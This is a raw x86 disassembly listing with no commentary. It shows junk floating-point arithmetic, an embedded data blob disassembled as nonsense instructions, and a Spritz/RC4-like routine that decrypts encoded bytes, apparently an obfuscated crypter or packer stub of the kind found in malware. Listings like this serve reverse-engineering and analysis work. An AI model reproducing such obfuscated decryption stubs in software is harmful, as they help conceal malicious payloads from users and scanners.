mov dword [ebp - 0x4db0], 0
mov byte [ebp - 0x35a0], 0
mov byte [ebp - 0x35d6], 0
mov byte [ebp - 0x367e], 0
mov byte [ebp - 0x35d7], 0
mov byte [ebp - 0x3623], 0
mov byte [ebp - 0x376f], 0
mov byte [ebp - 0x419b], 0
mov byte [ebp - 0x368c], 0
mov byte [ebp - 0x367d], 0
mov byte [ebp - 0x37b6], 0
xorps xmm0, xmm0
movsd qword [ebp - 0x5728], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x5348], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x5348], xmm0
jmp 0x492740
movsd xmm0, qword [ebp - 0x5348]
addsd xmm0, qword [0x9d9048]
movsd qword [ebp - 0x5348], xmm0
movsd xmm0, qword [0x9db278]
comisd xmm0, xmmword [ebp - 0x5348]
jbe 0x4927f1
movsd xmm0, qword [0x9da2a8]
mulsd xmm0, qword [ebp - 0x5348]
mulsd xmm0, qword [ebp - 0x5348]
movsd xmm1, qword [ebp - 0x5348]
mulsd xmm1, qword [ebp - 0x5348]
subsd xmm0, xmm1
movsd xmm1, qword [0x9d9ec8]
mulsd xmm1, qword [ebp - 0x5348]
mulsd xmm1, qword [ebp - 0x5348]
addsd xmm1, qword [0x9da008]
divsd xmm0, xmm1
addsd xmm0, qword [ebp - 0x5728]
movsd qword [ebp - 0x5728], xmm0
movsd xmm0, qword [ebp - 0x5728]
comisd xmm0, xmmword [0x9da118]
jbe 0x4927ec
movsd xmm0, qword [0x9d9cf8]
mulsd xmm0, qword [ebp - 0x5348]
movsd xmm1, qword [ebp - 0x5728]
subsd xmm1, xmm0
movsd qword [ebp - 0x5728], xmm1
jmp 0x492728
xorps xmm0, xmm0
comisd xmm0, xmmword [ebp - 0x5728]
jbe 0x49283d
popfd
pop esp
sahf
push edi
xchg ebp, eax
push ecx
cwde
push ebx
lahf
push ecx
xchg ecx, eax
pop esp
pushfd
pop esp
lahf
pop ebx
sahf
pop ecx
xchg esp, eax
pop ebx
mov al, byte [0xa05b9d58]
dec ebp
xchg edi, eax
pop edx
xchg ecx, eax
push ebp
popfd
push edx
mov al, byte [0x6b764c4d]
insd dword es:[edi], dx
arpl word [esi + 0x5c], sp
inc eax
inc ecx
inc edi
push ebp
aaa
jb 0x4928a2
inc edx
cmp bh, byte cs:[esi]
outsd dx, dword [esi]
imul esi, dword [edi], 0x41
inc eax
and cl, ch
fldcw word [eax]
add byte [eax], al
mov dword [ebp - 0x63a4], 0x4927fe
mov dword [ebp - 0x63a0], 0x492820
mov eax, dword [ebp - 0x63a4]
mov dword [ebp - 0x43b4], eax
mov ecx, dword [ebp - 0x63a0]
mov dword [ebp - 0x639c], ecx
mov byte [ebp - 0x419b], 0x1c
mov dword [ebp - 0x3730], 0
mov dword [ebp - 0x4dac], 0
mov dword [ebp - 0x3730], 0
jmp 0x49289f
mov edx, dword [ebp - 0x3730]
add edx, 1
mov dword [ebp - 0x3730], edx
cmp dword [ebp - 0x3730], 0x100
jae 0x4928c5
enter 0xffffffffffffffff, 0
add dword [eax], eax
add byte [ebx + 0x1a], dh
mov eax, dword [ebp - 0x3730]
shl eax, 0
lea ecx, [ebp - 0x2568]
mov dl, byte [ebp - 0x3730]
mov byte [eax + ecx], dl
jmp 0x492890
mov dword [ebp - 0x4dac], 0
mov byte [ebp - 0x376f], 0
mov dword [ebp - 0x3730], 0xff
jmp 0x4928f1
mov eax, dword [ebp - 0x3730]
sub eax, 1
mov dword [ebp - 0x3730], eax
cmp dword [ebp - 0x3730], 0
jbe 0x492f0a
mov dword [ebp - 0x5904], 0
mov dword [ebp - 0x5430], 1
mov dword [ebp - 0x48d8], 0
mov ecx, dword [ebp - 0x5430]
cmp ecx, dword [ebp - 0x3730]
jae 0x49293d
mov edx, dword [ebp - 0x5430]
shl edx, 1
add edx, 1
mov dword [ebp - 0x5430], edx
jmp 0x49291c
mov eax, dword [ebp - 0x4dac]
mov dword [ebp - 0x5f04], eax
cmp dword [ebp - 0x5f04], 3
ja case.default.0x49295c
mov ecx, dword [ebp - 0x5f04]
jmp dword [ecx*4 + 0x4f07bc]
movzx edx, byte [ebp - 0x376f]
shl edx, 0
lea eax, [ebp - 0x2568]
movzx ebx, byte [edx + eax]
movsd xmm0, qword [ebp - 0x5728]
call fcn.009b6e60
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x376f], bl
jmp 0x492a63
movzx ecx, byte [ebp - 0x376f]
shl ecx, 0
lea edx, [ebp - 0x2568]
movzx ebx, byte [ecx + edx]
movsd xmm0, qword [ebp - 0x5728]
call fcn.009b6e60
shr eax, 8
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x376f], bl
jmp 0x492a63
movzx eax, byte [ebp - 0x376f]
shl eax, 0
lea ecx, [ebp - 0x2568]
movzx ebx, byte [eax + ecx]
movsd xmm0, qword [ebp - 0x5728]
call fcn.009b6e60
shr eax, 0x10
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x376f], bl
jmp 0x492a63
movzx edx, byte [ebp - 0x376f]
shl edx, 0
lea eax, [ebp - 0x2568]
movzx ebx, byte [edx + eax]
movsd xmm0, qword [ebp - 0x5728]
call fcn.009b6e60
shr eax, 0x18
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x376f], bl
jmp 0x492a63
movzx ecx, byte [ebp - 0x376f]
shl ecx, 0
lea edx, [ebp - 0x2568]
movzx eax, byte [ecx + edx]
mov ecx, dword [ebp - 0x4dac]
sub ecx, 4
shl ecx, 0
add ecx, dword [ebp - 0x639c]
movzx edx, byte [ecx]
add eax, edx
mov byte [ebp - 0x376f], al
mov eax, dword [ebp - 0x4dac]
add eax, 1
mov dword [ebp - 0x4dac], eax
movzx ecx, byte [ebp - 0x419b]
cmp dword [ebp - 0x4dac], ecx
jb 0x492df4
movsd xmm0, qword [0x9db130]
movsd qword [ebp - 0x4798], xmm0
movsd xmm0, qword [0x9dafd0]
movsd qword [ebp - 0x4ee4], xmm0
movsd xmm0, qword [0x9dace8]
movsd qword [ebp - 0x5160], xmm0
movsd xmm0, qword [0x9da928]
movsd qword [ebp - 0x5158], xmm0
movsd xmm0, qword [0x9da588]
movsd qword [ebp - 0x4174], xmm0
movsd xmm0, qword [ebp - 0x4798]
addsd xmm0, qword [ebp - 0x4174]
movsd qword [ebp - 0x4798], xmm0
movsd xmm0, qword [ebp - 0x5160]
addsd xmm0, qword [ebp - 0x4174]
movsd qword [ebp - 0x5160], xmm0
movsd xmm0, qword [ebp - 0x4ee4]
subsd xmm0, qword [ebp - 0x4174]
movsd qword [ebp - 0x4ee4], xmm0
movsd xmm0, qword [ebp - 0x4798]
addsd xmm0, qword [ebp - 0x4174]
movsd qword [ebp - 0x4798], xmm0
movsd xmm0, qword [ebp - 0x5160]
addsd xmm0, qword [ebp - 0x4174]
movsd qword [ebp - 0x5160], xmm0
movsd xmm0, qword [ebp - 0x4798]
comisd xmm0, xmmword [ebp - 0x4174]
jbe 0x492bea
movsd xmm0, qword [ebp - 0x5158]
addsd xmm0, qword [ebp - 0x4174]
movsd qword [ebp - 0x5158], xmm0
movsd xmm0, qword [ebp - 0x5158]
subsd xmm0, qword [ebp - 0x4174]
movsd qword [ebp - 0x5158], xmm0
movsd xmm0, qword [ebp - 0x4174]
mulsd xmm0, qword [ebp - 0x4798]
movsd qword [ebp - 0x4174], xmm0
movsd xmm0, qword [ebp - 0x4174]
mulsd xmm0, qword [ebp - 0x4798]
movsd qword [ebp - 0x4174], xmm0
mov dword [ebp - 0x4dac], 0
movsd xmm0, qword [ebp - 0x4798]
addsd xmm0, qword [ebp - 0x4ee4]
movsd qword [ebp - 0x4798], xmm0
jmp 0x492dde
movsd xmm0, qword [ebp - 0x4174]
divsd xmm0, qword [ebp - 0x4ee4]
movsd qword [ebp - 0x4174], xmm0
movsd xmm0, qword [ebp - 0x5160]
subsd xmm0, qword [ebp - 0x4174]
movsd qword [ebp - 0x5160], xmm0
movsd xmm0, qword [ebp - 0x4174]
mulsd xmm0, qword [ebp - 0x4ee4]
movsd qword [ebp - 0x4174], xmm0
movsd xmm0, qword [ebp - 0x4174]
mulsd xmm0, qword [ebp - 0x4ee4]
movsd qword [ebp - 0x4174], xmm0
movsd xmm0, qword [ebp - 0x5158]
divsd xmm0, qword [ebp - 0x4798]
movsd qword [ebp - 0x5158], xmm0
movsd xmm0, qword [ebp - 0x5158]
addsd xmm0, qword [ebp - 0x4174]
movsd qword [ebp - 0x5158], xmm0
movsd xmm0, qword [ebp - 0x4ee4]
addsd xmm0, qword [ebp - 0x5160]
movsd qword [ebp - 0x4ee4], xmm0
movsd xmm0, qword [ebp - 0x4ee4]
subsd xmm0, qword [ebp - 0x5160]
movsd qword [ebp - 0x4ee4], xmm0
movsd xmm0, qword [ebp - 0x4798]
mulsd xmm0, qword [ebp - 0x4ee4]
movsd qword [ebp - 0x4798], xmm0
movsd xmm0, qword [ebp - 0x4798]
subsd xmm0, qword [ebp - 0x4ee4]
movsd qword [ebp - 0x4798], xmm0
movsd xmm0, qword [ebp - 0x5158]
comisd xmm0, xmmword [ebp - 0x4ee4]
jbe 0x492d66
movsd xmm0, qword [ebp - 0x4174]
subsd xmm0, qword [ebp - 0x4798]
movsd qword [ebp - 0x4174], xmm0
movsd xmm0, qword [ebp - 0x5160]
addsd xmm0, qword [ebp - 0x5158]
movsd qword [ebp - 0x5160], xmm0
movsd xmm0, qword [ebp - 0x5160]
addsd xmm0, qword [ebp - 0x5158]
movsd qword [ebp - 0x5160], xmm0
movsd xmm0, qword [ebp - 0x4ee4]
mulsd xmm0, qword [ebp - 0x5160]
movsd qword [ebp - 0x4ee4], xmm0
movsd xmm0, qword [ebp - 0x4798]
subsd xmm0, qword [ebp - 0x4ee4]
movsd qword [ebp - 0x4798], xmm0
jmp 0x492dde
movsd xmm0, qword [ebp - 0x5158]
subsd xmm0, qword [ebp - 0x4174]
movsd qword [ebp - 0x5158], xmm0
movsd xmm0, qword [ebp - 0x4174]
addsd xmm0, qword [ebp - 0x4798]
movsd qword [ebp - 0x4174], xmm0
movsd xmm0, qword [ebp - 0x4174]
subsd xmm0, qword [ebp - 0x4798]
movsd qword [ebp - 0x4174], xmm0
movsd xmm0, qword [ebp - 0x4174]
mulsd xmm0, qword [ebp - 0x4798]
movsd qword [ebp - 0x4174], xmm0
movsd xmm0, qword [ebp - 0x4174]
mulsd xmm0, qword [ebp - 0x4798]
movsd qword [ebp - 0x4174], xmm0
movzx edx, byte [ebp - 0x419b]
movzx eax, byte [ebp - 0x376f]
add eax, edx
mov byte [ebp - 0x376f], al
movzx ecx, byte [ebp - 0x376f]
and ecx, dword [ebp - 0x5430]
mov dword [ebp - 0x48d8], ecx
mov edx, dword [ebp - 0x5904]
add edx, 1
mov dword [ebp - 0x5904], edx
cmp dword [ebp - 0x5904], 0xb
jbe 0x492e33
mov eax, dword [ebp - 0x48d8]
xor edx, edx
div dword [ebp - 0x3730]
mov dword [ebp - 0x48d8], edx
mov eax, dword [ebp - 0x48d8]
cmp eax, dword [ebp - 0x3730]
ja 0x49293d
mov ecx, dword [ebp - 0x3730]
cmp ecx, dword [ebp - 0x48d8]
je 0x492f05
mov edx, dword [ebp - 0x3730]
shl edx, 0
lea eax, [ebp - 0x2568]
mov ecx, dword [ebp - 0x48d8]
shl ecx, 0
lea esi, [ebp - 0x2568]
movzx ecx, byte [ecx + esi]
movzx edx, byte [edx + eax]
xor edx, ecx
mov eax, dword [ebp - 0x3730]
shl eax, 0
lea ecx, [ebp - 0x2568]
mov byte [eax + ecx], dl
mov edx, dword [ebp - 0x48d8]
shl edx, 0
lea eax, [ebp - 0x2568]
mov ecx, dword [ebp - 0x3730]
shl ecx, 0
lea esi, [ebp - 0x2568]
movzx ecx, byte [ecx + esi]
movzx edx, byte [edx + eax]
xor edx, ecx
mov eax, dword [ebp - 0x48d8]
shl eax, 0
lea ecx, [ebp - 0x2568]
mov byte [eax + ecx], dl
mov edx, dword [ebp - 0x3730]
shl edx, 0
lea eax, [ebp - 0x2568]
mov ecx, dword [ebp - 0x48d8]
shl ecx, 0
lea esi, [ebp - 0x2568]
movzx ecx, byte [ecx + esi]
movzx edx, byte [edx + eax]
xor edx, ecx
mov eax, dword [ebp - 0x3730]
shl eax, 0
lea ecx, [ebp - 0x2568]
mov byte [eax + ecx], dl
jmp 0x4928e2
mov edx, 1
shl edx, 0
lea eax, [ebp - 0x2568]
mov cl, byte [edx + eax]
mov byte [ebp - 0x35a0], cl
mov edx, 1
imul eax, edx, 3
lea ecx, [ebp - 0x2568]
mov dl, byte [eax + ecx]
mov byte [ebp - 0x35d6], dl
mov eax, 1
imul ecx, eax, 5
lea edx, [ebp - 0x2568]
mov al, byte [ecx + edx]
mov byte [ebp - 0x367e], al
mov ecx, 1
imul edx, ecx, 7
lea eax, [ebp - 0x2568]
mov cl, byte [edx + eax]
mov byte [ebp - 0x35d7], cl
movzx edx, byte [ebp - 0x376f]
shl edx, 0
lea eax, [ebp - 0x2568]
mov cl, byte [edx + eax]
mov byte [ebp - 0x3623], cl
mov dword [ebp - 0x5bec], 0x22
cmp dword [ebp - 0x5bec], 2
jle 0x4950c5
mov edx, dword [ebp - 0x5bec]
and edx, 1
jne 0x4950c5
mov dword [ebp - 0x3730], 0
mov dword [ebp - 0x3af8], 0
mov eax, dword [ebp - 0x3af8]
add eax, 1
mov dword [ebp - 0x3af8], eax
mov dword [ebp - 0x41d8], 0
mov ecx, dword [ebp - 0x3730]
shl ecx, 1
mov dword [ebp - 0x41d8], ecx
mov dword [ebp - 0x40d8], 0
mov edx, dword [ebp - 0x41d8]
shl edx, 0
add edx, dword [ebp - 0x43b4]
movzx eax, byte [edx]
add eax, dword [ebp - 0x40d8]
mov dword [ebp - 0x40d8], eax
mov dword [ebp - 0x40d4], 0
mov ecx, dword [ebp - 0x40d4]
add ecx, 0x91
mov dword [ebp - 0x40d4], ecx
mov dword [ebp - 0x41dc], 0
mov edx, dword [ebp - 0x3730]
shl edx, 1
add edx, 1
mov dword [ebp - 0x41dc], edx
mov dword [ebp - 0x40d0], 0
mov eax, dword [ebp - 0x41dc]
shl eax, 0
add eax, dword [ebp - 0x43b4]
movzx ecx, byte [eax]
add ecx, dword [ebp - 0x40d0]
mov dword [ebp - 0x40d0], ecx
mov dword [ebp - 0x410c], 0
mov edx, dword [ebp - 0x410c]
add edx, 0x4d
mov dword [ebp - 0x410c], edx
movss xmm0, dword [0x9db6a8]
movss dword [ebp - 0x3f24], xmm0
movss xmm0, dword [0x9db610]
movss dword [ebp - 0x3d34], xmm0
movss xmm0, dword [0x9db578]
movss dword [ebp - 0x382c], xmm0
movss xmm0, dword [0x9db4e8]
movss dword [ebp - 0x3e14], xmm0
movss xmm0, dword [0x9db430]
movss dword [ebp - 0x50f0], xmm0
movss xmm0, dword [0x9db3a0]
movss dword [ebp - 0x3af4], xmm0
movss xmm0, dword [0x9db310]
movss dword [ebp - 0x3a10], xmm0
movss xmm0, dword [ebp - 0x3af4]
mulss xmm0, dword [ebp - 0x3a10]
movss dword [ebp - 0x3af4], xmm0
movss xmm0, dword [ebp - 0x382c]
mulss xmm0, dword [ebp - 0x3a10]
movss dword [ebp - 0x382c], xmm0
movss xmm0, dword [ebp - 0x50f0]
subss xmm0, dword [ebp - 0x3a10]
movss dword [ebp - 0x50f0], xmm0
movss xmm0, dword [ebp - 0x3e14]
mulss xmm0, dword [ebp - 0x3a10]
movss dword [ebp - 0x3e14], xmm0
movss xmm0, dword [ebp - 0x3f24]
subss xmm0, dword [ebp - 0x3a10]
movss dword [ebp - 0x3f24], xmm0
movss xmm0, dword [ebp - 0x3af4]
addss xmm0, dword [ebp - 0x3a10]
movss dword [ebp - 0x3af4], xmm0
movss xmm0, dword [ebp - 0x3e14]
addss xmm0, dword [ebp - 0x3a10]
movss dword [ebp - 0x3e14], xmm0
movss xmm0, dword [ebp - 0x382c]
comiss xmm0, dword [ebp - 0x3a10]
jbe 0x493264
movss xmm0, dword [ebp - 0x3e14]
mulss xmm0, dword [ebp - 0x50f0]
movss dword [ebp - 0x3e14], xmm0
movss xmm0, dword [ebp - 0x3a10]
mulss xmm0, dword [ebp - 0x3f24]
movss dword [ebp - 0x3a10], xmm0
movss xmm0, dword [ebp - 0x382c]
mulss xmm0, dword [ebp - 0x3e14]
movss dword [ebp - 0x382c], xmm0
movss xmm0, dword [ebp - 0x382c]
mulss xmm0, dword [ebp - 0x3e14]
movss dword [ebp - 0x382c], xmm0
mov dword [ebp - 0x40c8], 0
movss xmm0, dword [ebp - 0x3f24]
mulss xmm0, dword [ebp - 0x3d34]
movss dword [ebp - 0x3f24], xmm0
movss xmm0, dword [ebp - 0x3d34]
mulss xmm0, dword [ebp - 0x382c]
movss dword [ebp - 0x3d34], xmm0
movss xmm0, dword [ebp - 0x3a10]
mulss xmm0, dword [ebp - 0x3f24]
movss dword [ebp - 0x3a10], xmm0
jmp 0x49351e
movss xmm0, dword [ebp - 0x382c]
divss xmm0, dword [ebp - 0x3e14]
movss dword [ebp - 0x382c], xmm0
movss xmm0, dword [ebp - 0x382c]
divss xmm0, dword [ebp - 0x3e14]
movss dword [ebp - 0x382c], xmm0
movss xmm0, dword [ebp - 0x3f24]
subss xmm0, dword [ebp - 0x3d34]
movss dword [ebp - 0x3f24], xmm0
movss xmm0, dword [ebp - 0x3af4]
subss xmm0, dword [ebp - 0x3a10]
movss dword [ebp - 0x3af4], xmm0
movss xmm0, dword [ebp - 0x382c]
mulss xmm0, dword [ebp - 0x3e14]
movss dword [ebp - 0x382c], xmm0
movss xmm0, dword [ebp - 0x3af4]
mulss xmm0, dword [ebp - 0x3a10]
movss dword [ebp - 0x3af4], xmm0
movss xmm0, dword [ebp - 0x50f0]
divss xmm0, dword [ebp - 0x3af4]
movss dword [ebp - 0x50f0], xmm0
movss xmm0, dword [ebp - 0x3af4]
addss xmm0, dword [ebp - 0x3a10]
movss dword [ebp - 0x3af4], xmm0
movss xmm0, dword [ebp - 0x3f24]
addss xmm0, dword [ebp - 0x3d34]
movss dword [ebp - 0x3f24], xmm0
movss xmm0, dword [ebp - 0x3d34]
addss xmm0, dword [ebp - 0x382c]
movss dword [ebp - 0x3d34], xmm0
movss xmm0, dword [ebp - 0x3af4]
mulss xmm0, dword [ebp - 0x3a10]
movss dword [ebp - 0x3af4], xmm0
movss xmm0, dword [ebp - 0x3af4]
mulss xmm0, dword [ebp - 0x3a10]
movss dword [ebp - 0x3af4], xmm0
movss xmm0, dword [ebp - 0x3d34]
addss xmm0, dword [ebp - 0x382c]
movss dword [ebp - 0x3d34], xmm0
movss xmm0, dword [ebp - 0x3af4]
subss xmm0, dword [ebp - 0x3a10]
movss dword [ebp - 0x3af4], xmm0
movss xmm0, dword [ebp - 0x3d34]
comiss xmm0, dword [ebp - 0x3e14]
jbe 0x493476
movss xmm0, dword [ebp - 0x3f24]
mulss xmm0, dword [ebp - 0x3d34]
movss dword [ebp - 0x3f24], xmm0
movss xmm0, dword [ebp - 0x3af4]
subss xmm0, dword [ebp - 0x3a10]
movss dword [ebp - 0x3af4], xmm0
movss xmm0, dword [ebp - 0x382c]
mulss xmm0, dword [ebp - 0x3e14]
movss dword [ebp - 0x382c], xmm0
movss xmm0, dword [ebp - 0x3d34]
mulss xmm0, dword [ebp - 0x382c]
movss dword [ebp - 0x3d34], xmm0
movss xmm0, dword [ebp - 0x3a10]
addss xmm0, dword [ebp - 0x3f24]
movss dword [ebp - 0x3a10], xmm0
movss xmm0, dword [ebp - 0x3af4]
divss xmm0, dword [ebp - 0x3a10]
movss dword [ebp - 0x3af4], xmm0
movss xmm0, dword [ebp - 0x3f24]
mulss xmm0, dword [ebp - 0x3d34]
movss dword [ebp - 0x3f24], xmm0
jmp 0x49351e
movss xmm0, dword [ebp - 0x382c]
divss xmm0, dword [ebp - 0x3e14]
movss dword [ebp - 0x382c], xmm0
movss xmm0, dword [ebp - 0x382c]
subss xmm0, dword [ebp - 0x3e14]
movss dword [ebp - 0x382c], xmm0
movss xmm0, dword [ebp - 0x3f24]
subss xmm0, dword [ebp - 0x3d34]
movss dword [ebp - 0x3f24], xmm0
movss xmm0, dword [ebp - 0x3d34]
addss xmm0, dword [ebp - 0x382c]
movss dword [ebp - 0x3d34], xmm0
movss xmm0, dword [ebp - 0x3d34]
subss xmm0, dword [ebp - 0x382c]
movss dword [ebp - 0x3d34], xmm0
movss xmm0, dword [ebp - 0x382c]
addss xmm0, dword [ebp - 0x3e14]
movss dword [ebp - 0x382c], xmm0
movss xmm0, dword [ebp - 0x3e14]
divss xmm0, dword [ebp - 0x50f0]
movss dword [ebp - 0x3e14], xmm0
mov eax, dword [ebp - 0x40d8]
sub eax, dword [ebp - 0x40d4]
add eax, dword [ebp - 0x40c8]
mov dword [ebp - 0x40c8], eax
mov dword [ebp - 0x40c4], 0
mov ecx, dword [ebp - 0x40d0]
sub ecx, dword [ebp - 0x410c]
add ecx, dword [ebp - 0x40c4]
mov dword [ebp - 0x40c4], ecx
mov dword [ebp - 0x41e0], 0
mov edx, dword [ebp - 0x40c8]
shl edx, 4
mov dword [ebp - 0x41e0], edx
movsd xmm0, qword [0x9db0e8]
movsd qword [ebp - 0x620c], xmm0
movsd xmm0, qword [0x9daea8]
movsd qword [ebp - 0x4fcc], xmm0
movsd xmm0, qword [0x9daa90]
movsd qword [ebp - 0x5ad0], xmm0
movsd xmm0, qword [0x9da628]
movsd qword [ebp - 0x5340], xmm0
movsd xmm0, qword [ebp - 0x5ad0]
mulsd xmm0, qword [ebp - 0x5340]
movsd qword [ebp - 0x5ad0], xmm0
movsd xmm0, qword [ebp - 0x4fcc]
mulsd xmm0, qword [ebp - 0x5340]
movsd qword [ebp - 0x4fcc], xmm0
movsd xmm0, qword [ebp - 0x4fcc]
mulsd xmm0, qword [ebp - 0x5340]
movsd qword [ebp - 0x4fcc], xmm0
movsd xmm0, qword [ebp - 0x4fcc]
mulsd xmm0, qword [ebp - 0x5340]
movsd qword [ebp - 0x4fcc], xmm0
movsd xmm0, qword [ebp - 0x4fcc]
comisd xmm0, xmmword [ebp - 0x5340]
jbe 0x49368f
mov dword [ebp - 0x41e4], 0
movsd xmm0, qword [ebp - 0x5340]
mulsd xmm0, qword [ebp - 0x4fcc]
movsd qword [ebp - 0x5340], xmm0
movsd xmm0, qword [ebp - 0x4fcc]
mulsd xmm0, qword [ebp - 0x5340]
movsd qword [ebp - 0x4fcc], xmm0
movsd xmm0, qword [ebp - 0x4fcc]
mulsd xmm0, qword [ebp - 0x5340]
movsd qword [ebp - 0x4fcc], xmm0
movsd xmm0, qword [ebp - 0x5ad0]
mulsd xmm0, qword [ebp - 0x620c]
movsd qword [ebp - 0x5ad0], xmm0
jmp 0x4936ef
movsd xmm0, qword [ebp - 0x5ad0]
mulsd xmm0, qword [ebp - 0x620c]
movsd qword [ebp - 0x5ad0], xmm0
movsd xmm0, qword [ebp - 0x4fcc]
divsd xmm0, qword [ebp - 0x5340]
movsd qword [ebp - 0x4fcc], xmm0
movsd xmm0, qword [ebp - 0x5ad0]
mulsd xmm0, qword [ebp - 0x620c]
movsd qword [ebp - 0x5ad0], xmm0
movsd xmm0, qword [ebp - 0x5340]
subsd xmm0, qword [ebp - 0x4fcc]
movsd qword [ebp - 0x5340], xmm0
mov eax, dword [ebp - 0x40c4]
mov dword [ebp - 0x41e4], eax
mov dword [ebp - 0x41e8], 0
mov ecx, dword [ebp - 0x41e0]
or ecx, dword [ebp - 0x41e4]
mov dword [ebp - 0x41e8], ecx
mov byte [ebp - 0x368c], 0
mov dl, byte [ebp - 0x41e8]
mov byte [ebp - 0x368c], dl
mov byte [ebp - 0x367d], 0
movzx eax, byte [ebp - 0x3623]
shl eax, 0
lea ecx, [ebp - 0x2568]
mov dl, byte [eax + ecx]
mov byte [ebp - 0x367d], dl
movzx eax, byte [ebp - 0x35a0]
shl eax, 0
lea ecx, [ebp - 0x2568]
movzx edx, byte [eax + ecx]
movzx eax, byte [ebp - 0x35d6]
add eax, edx
mov byte [ebp - 0x35d6], al
mov cl, byte [ebp - 0x35a0]
add cl, 1
mov byte [ebp - 0x35a0], cl
movzx edx, byte [ebp - 0x35d6]
shl edx, 0
lea eax, [ebp - 0x2568]
movzx ecx, byte [ebp - 0x3623]
shl ecx, 0
lea esi, [ebp - 0x2568]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x35d7]
shl eax, 0
lea ecx, [ebp - 0x2568]
movzx edx, byte [ebp - 0x35d6]
shl edx, 0
lea esi, [ebp - 0x2568]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x35a0]
shl ecx, 0
lea edx, [ebp - 0x2568]
movzx eax, byte [ebp - 0x35d7]
shl eax, 0
lea esi, [ebp - 0x2568]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x35a0]
shl edx, 0
lea eax, [ebp - 0x2568]
mov cl, byte [ebp - 0x367d]
mov byte [edx + eax], cl
movzx edx, byte [ebp - 0x367d]
shl edx, 0
lea eax, [ebp - 0x2568]
movzx ecx, byte [edx + eax]
movzx edx, byte [ebp - 0x367e]
add edx, ecx
mov byte [ebp - 0x367e], dl
movzx eax, byte [ebp - 0x368c]
movzx ecx, byte [ebp - 0x35d6]
shl ecx, 0
lea edx, [ebp - 0x2568]
movzx ecx, byte [ecx + edx]
movzx edx, byte [ebp - 0x35a0]
shl edx, 0
lea esi, [ebp - 0x2568]
movzx edx, byte [edx + esi]
add ecx, edx
and ecx, 0xff
shl ecx, 0
lea edx, [ebp - 0x2568]
movzx ecx, byte [ecx + edx]
xor eax, ecx
movzx edx, byte [ebp - 0x35d7]
shl edx, 0
lea ecx, [ebp - 0x2568]
movzx edx, byte [edx + ecx]
movzx ecx, byte [ebp - 0x3623]
shl ecx, 0
lea esi, [ebp - 0x2568]
movzx ecx, byte [ecx + esi]
add edx, ecx
movzx ecx, byte [ebp - 0x367e]
shl ecx, 0
lea esi, [ebp - 0x2568]
movzx ecx, byte [ecx + esi]
add edx, ecx
and edx, 0xff
shl edx, 0
lea ecx, [ebp - 0x2568]
movzx edx, byte [edx + ecx]
shl edx, 0
lea ecx, [ebp - 0x2568]
movzx edx, byte [edx + ecx]
xor eax, edx
mov byte [ebp - 0x35d7], al
mov al, byte [ebp - 0x368c]
mov byte [ebp - 0x3623], al
mov cl, byte [ebp - 0x35d7]
mov byte [ebp - 0x37b6], cl
cmp dword [ebp - 0x3730], 0
jbe 0x493914
mov edx, dword [ebp - 0x3730]
sub edx, 1
shl edx, 0
lea eax, [ebp - 0x1d54]
mov cl, byte [ebp - 0x37b6]
mov byte [edx + eax], cl
mov edx, dword [ebp - 0x3730]
add edx, 1
mov dword [ebp - 0x3730], edx
mov eax, dword [ebp - 0x3af8]
add eax, 1
mov dword [ebp - 0x3af8], eax
mov ecx, dword [ebp - 0x3730]
shl ecx, 1
mov dword [ebp - 0x41d8], ecx
mov edx, dword [ebp - 0x41d8]
shl edx, 0
add edx, dword [ebp - 0x43b4]
movzx eax, byte [edx]
mov dword [ebp - 0x40d8], eax
mov dword [ebp - 0x40d4], 0x91
mov ecx, dword [ebp - 0x3730]
shl ecx, 1
add ecx, 1
mov dword [ebp - 0x41dc], ecx
mov edx, dword [ebp - 0x41dc]
shl edx, 0
add edx, dword [ebp - 0x43b4]
movzx eax, byte [edx]
mov dword [ebp - 0x40d0], eax
mov dword [ebp - 0x410c], 0x4d
mov ecx, dword [ebp - 0x40d8]
sub ecx, dword [ebp - 0x40d4]
mov dword [ebp - 0x40c8], ecx
mov edx, dword [ebp - 0x40d0]
sub edx, dword [ebp - 0x410c]
mov dword [ebp - 0x40c4], edx
mov eax, dword [ebp - 0x40c8]
shl eax, 4
mov dword [ebp - 0x41e0], eax
mov ecx, dword [ebp - 0x40c4]
mov dword [ebp - 0x41e4], ecx
mov edx, dword [ebp - 0x41e0]
or edx, dword [ebp - 0x41e4]
mov dword [ebp - 0x41e8], edx
mov al, byte [ebp - 0x41e8]
mov byte [ebp - 0x368c], al
movzx ecx, byte [ebp - 0x3623]
shl ecx, 0
lea edx, [ebp - 0x2568]
mov al, byte [ecx + edx]
mov byte [ebp - 0x367d], al
movzx ecx, byte [ebp - 0x35a0]
shl ecx, 0
lea edx, [ebp - 0x2568]
movzx eax, byte [ecx + edx]
movzx ecx, byte [ebp - 0x35d6]
add ecx, eax
mov byte [ebp - 0x35d6], cl
mov dl, byte [ebp - 0x35a0]
add dl, 1
mov byte [ebp - 0x35a0], dl
movzx eax, byte [ebp - 0x35d6]
shl eax, 0
lea ecx, [ebp - 0x2568]
movzx edx, byte [ebp - 0x3623]
shl edx, 0
lea esi, [ebp - 0x2568]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x35d7]
shl ecx, 0
lea edx, [ebp - 0x2568]
movzx eax, byte [ebp - 0x35d6]
shl eax, 0
lea esi, [ebp - 0x2568]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x35a0]
shl edx, 0
lea eax, [ebp - 0x2568]
movzx ecx, byte [ebp - 0x35d7]
shl ecx, 0
lea esi, [ebp - 0x2568]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x35a0]
shl eax, 0
lea ecx, [ebp - 0x2568]
mov dl, byte [ebp - 0x367d]
mov byte [eax + ecx], dl
movzx eax, byte [ebp - 0x367d]
shl eax, 0
lea ecx, [ebp - 0x2568]
movzx edx, byte [eax + ecx]
movzx eax, byte [ebp - 0x367e]
add eax, edx
mov byte [ebp - 0x367e], al
movzx ecx, byte [ebp - 0x368c]
movzx edx, byte [ebp - 0x35d6]
shl edx, 0
